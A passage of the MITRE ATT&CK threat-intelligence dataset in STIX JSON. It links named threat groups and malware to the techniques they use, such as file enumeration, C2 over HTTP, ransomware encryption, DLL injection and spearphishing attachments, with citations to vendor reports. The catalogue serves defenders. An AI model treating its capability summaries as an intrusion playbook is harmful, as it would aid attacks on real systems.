"x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c710daae-cde1-4170-ae45-4910b3187cd8", "created": "2024-01-23T20:56:18.003Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat Check Logs October 2023", "description": "Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. 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Retrieved September 2, 2021."}], "modified": "2021-09-09T15:38:06.892Z", "description": "(Citation: Unit 42 ProjectM March 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3", "target_ref": "malware--6c2550d5-a01a-4bbb-a004-6ead348ba623", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c748a743-6d63-4287-a86a-d799e14fcd99", "type": "relationship", "created": "2020-06-24T17:41:52.664Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). 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Retrieved March 18, 2021."}], "modified": "2021-03-18T15:15:00.534Z", "description": "[RemoteUtilities](https://attack.mitre.org/software/S0592) can enumerate files and directories on a target machine.(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "source_ref": "tool--03c6e0ea-96d3-4b23-9afb-05055663cf4b", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c767de3c-af29-4e98-8292-067359765d5f", "created": "2022-06-09T19:48:31.853Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[OutSteel](https://attack.mitre.org/software/S1017) has been distributed as a malicious attachment within a spearphishing email.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T19:48:31.853Z", "relationship_type": "uses", "source_ref": "malware--c113230f-f044-423b-af63-9b63c802f5ae", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c76875e8-006d-493b-880a-332faf28f3ca", "type": "relationship", "created": "2020-09-30T14:23:17.197Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA SoreFang July 2016", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", "description": "CISA. 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Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) can run `set.bat`, `update.bat`, `cache.bat`, `bcd.bat`, `msrun.bat`, and similar scripts.(Citation: Check Point Meteor Aug 2021)", "modified": "2022-04-09T15:20:42.343Z", "relationship_type": "uses", "source_ref": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c7c5c4f3-eb1e-4c32-b78c-65f2c622f548", "type": "relationship", "created": "2021-03-23T20:49:40.281Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ShadowPad Aug 2017", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf", "description": "Kaspersky Lab. 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New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", "source_name": "Unit 42 NOKKI Sept 2018"}], "modified": "2020-03-17T14:21:21.517Z", "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect data from the victim and stage it in <code>LOCALAPPDATA%\\MicroSoft Updatea\\uplog.tmp</code>.(Citation: Unit 42 NOKKI Sept 2018)", "relationship_type": "uses", "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c7c8b431-77bb-45ac-9826-bd92828c2f85", "type": "relationship", "created": "2019-02-04T18:32:07.321Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "SensePost. 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Retrieved July 20, 2020."}], "modified": "2020-07-27T18:55:17.610Z", "description": "[StrongPity](https://attack.mitre.org/software/S0491) can download files to specified targets.(Citation: Bitdefender StrongPity June 2020)", "relationship_type": "uses", "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c7d6694e-cfbf-4883-9f4c-8fb3f187e6ae", "type": "relationship", "created": "2020-06-08T17:03:52.979Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky TajMahal April 2019", "url": "https://securelist.com/project-tajmahal/90240/", "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019."}], "modified": "2020-06-15T21:19:30.884Z", "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to inject DLLs for malicious plugins into running processes.(Citation: Kaspersky TajMahal April 2019)", "relationship_type": "uses", "source_ref": "malware--b51797f7-57da-4210-b8ac-b8632ee75d70", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c7d7c454-71fb-4a8e-989a-cb2e7404c0d3", "type": "relationship", "created": "2021-09-28T17:59:40.601Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-15T15:03:46.134Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can store collected data locally in a created .nfo file.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c7daa7ca-ca5a-4940-a370-d9eccb8f3c9a", "type": "relationship", "created": "2021-05-10T23:19:38.717Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mcafee Clop Aug 2019", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/", "description": "Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."}, {"source_name": "Unit42 Clop April 2021", "url": "https://unit42.paloaltonetworks.com/clop-ransomware/", "description": "Santos, D. (2021, April 13). Threat Assessment: Clop Ransomware. Retrieved July 30, 2021."}, {"source_name": "Cybereason Clop Dec 2020", "url": "https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware", "description": "Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}], "modified": "2021-10-15T00:18:17.759Z", "description": "[Clop](https://attack.mitre.org/software/S0611) can encrypt files using AES, RSA, and RC4 and will add the \".clop\" extension to encrypted files.(Citation: Mcafee Clop Aug 2019)(Citation: Unit42 Clop April 2021)(Citation: Cybereason Clop Dec 2020) ", "relationship_type": "uses", "source_ref": "malware--cad3ba95-8c89-4146-ab10-08daa813f9de", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c7e6d4a6-8d99-4134-848a-f4f712eb4316", "type": "relationship", "created": "2017-05-31T21:33:27.033Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant Operation Ke3chang November 2014", "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", "url": "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}, {"source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}], "modified": "2021-11-01T21:12:14.989Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs process discovery using <code>tasklist</code> commands.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c7e8689c-25cf-4fac-926e-c55a2414f16c", "type": "relationship", "created": "2020-03-19T22:05:06.704Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "source_name": "ESET Sednit Part 2"}, {"source_name": "DOJ GRU Indictment Jul 2018", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", "url": "https://www.justice.gov/file/1080281/download"}, {"source_name": "US District Court Indictment GRU Oct 2018", "url": "https://www.justice.gov/opa/page/file/1098481/download", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."}], "modified": "2020-10-01T18:55:37.709Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) regularly deploys both publicly available (ex: [Mimikatz](https://attack.mitre.org/software/S0002)) and custom password retrieval tools on victims.(Citation: ESET Sednit Part 2)(Citation: DOJ GRU Indictment Jul 2018)(Citation: US District Court Indictment GRU Oct 2018)\t", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c7e86d53-378b-4cb5-8d86-2b7b5f4c1232", "type": "relationship", "created": "2020-01-24T14:32:40.508Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/en-us/library/cc731150.aspx", "description": "Microsoft. (n.d.). Overview of Remote Desktop Gateway. Retrieved June 6, 2016.", "source_name": "TechNet RDP Gateway"}], "modified": "2020-04-28T13:27:20.646Z", "description": "If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network.(Citation: TechNet RDP Gateway)", "relationship_type": "mitigates", "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c7e8feda-58fd-4015-9525-9032fd0b8872", "created": "2022-09-30T20:38:36.216Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T20:44:13.238Z", "description": "[S-Type](https://attack.mitre.org/software/S0085) has used Windows APIs, including `GetKeyboardType`, `NetUserAdd`, and `NetUserDel`.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c7e92a33-f627-44bd-80be-d6e0cfcef656", "type": "relationship", "created": "2021-10-11T14:18:23.531Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-10-11T14:18:23.531Z", "description": "[Ecipekac](https://attack.mitre.org/software/S0624) has used a valid, legitimate digital signature to evade detection.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c7ef866c-18f8-485e-99d2-78b7e48576d8", "type": "relationship", "created": "2022-01-25T15:28:48.707Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}], "modified": "2022-01-25T15:28:48.707Z", "description": "[CharmPower](https://attack.mitre.org/software/S0674) has the ability to use <code>ipconfig</code> to enumerate system network settings.(Citation: Check Point APT35 CharmPower January 2022)", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c7f04f79-4bda-4abf-8f74-4faad8a09f19", "created": "2022-10-13T14:41:05.843Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T14:41:05.843Z", "description": "[PcShare](https://attack.mitre.org/software/S1050) can upload files and information from a compromised host to its C2 servers.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "tool--3a53b207-aba2-4a2b-9cdb-273d633669e7", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c7f1b492-eea7-45d1-ab78-6794c7560c67", "type": "relationship", "created": "2020-05-27T13:22:06.775Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Naikon May 2020", "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}], "modified": "2020-07-03T21:52:44.922Z", "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to use a reverse SOCKS proxy module.(Citation: CheckPoint Naikon May 2020)", "relationship_type": "uses", "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c7fee556-41c2-43bd-a732-e11ff34fb129", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Trojan.Hydraq Jan 2010", "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"}, {"source_name": "Symantec Hydraq Jan 2010", "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}], "modified": "2020-02-18T03:48:53.621Z", "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can check for the existence of files, including its own components, as well as retrieve a list of logical drives.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)", "relationship_type": "uses", "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8019115-38f0-4949-b7c6-331898b2cc83", "type": "relationship", "created": "2020-02-21T20:35:49.249Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-21T20:35:49.249Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c801e7ac-dce5-4349-bc07-446b5eec9744", "created": "2021-09-29T15:41:18.387Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "AhnLab Andariel Subgroup of Lazarus June 2018", "description": "AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group,  a subgroup of the Lazarus. Retrieved September 29, 2021.", "url": "http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"}, {"source_name": "MalwareBytes Lazarus-Andariel Conceals Code April 2021", "description": "Jazi, H. (2021, April 19). Lazarus APT conceals malicious code within BMP image to drop its RAT . Retrieved September 29, 2021.", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:51:40.274Z", "description": "[Andariel](https://attack.mitre.org/groups/G0138) has conducted spearphishing campaigns that included malicious Word or Excel attachments.(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: MalwareBytes Lazarus-Andariel Conceals Code April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c80250a5-79c0-4a46-a0e3-49d6bcd574c6", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Baumgartner Naikon 2015", "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}], "modified": "2020-03-17T02:38:58.275Z", "description": "[Sys10](https://attack.mitre.org/software/S0060) uses HTTP for C2.(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c808ac7c-6da1-4be8-9233-0020fbc3e8ac", "created": "2020-07-15T20:23:36.506Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Prevx Carberp March 2011", "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020.", "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:48:15.815Z", "description": "[Carberp](https://attack.mitre.org/software/S0484) has used XOR-based encryption to mask C2 server locations within the trojan.(Citation: Prevx Carberp March 2011)", "relationship_type": "uses", "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c809e1ba-e97b-41bf-a704-26fe09b6235c", "created": "2023-12-06T19:18:59.514Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SocGholish-update", "description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}, {"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-25T19:05:31.996Z", "description": "[Mustard Tempest](https://attack.mitre.org/groups/G1020) has lured users into downloading malware through malicious links in fake advertisements and spearphishing emails.(Citation: Microsoft Ransomware as a Service)(Citation: SocGholish-update)", "relationship_type": "uses", "source_ref": "intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c81124ac-5df7-4443-9760-95208d19e599", "type": "relationship", "created": "2020-06-19T21:25:43.656Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-06-29T21:37:55.943Z", "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to use a Microsoft Outlook backdoor macro to communicate with its C2.(Citation: Cybereason Cobalt Kitty 2017)\t", "relationship_type": "uses", "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad", "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c81c6d91-00f3-4c8b-bf34-929972685aa3", "type": "relationship", "created": "2019-01-29T20:05:36.454Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DigiTrust NanoCore Jan 2017", "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/", "description": "The DigiTrust Group. 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Retrieved June 16, 2020."}], "modified": "2020-06-16T20:51:13.406Z", "description": "[RTM](https://attack.mitre.org/software/S0148) can download additional files.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c83da269-9c77-4941-bf69-8e79bdfa5edf", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM June 2017", "description": "Kaplan, D, et al. (2017, June 7). PLATINUM continues to evolve, find ways to maintain invisibility. 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Retrieved August 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[EXOTIC 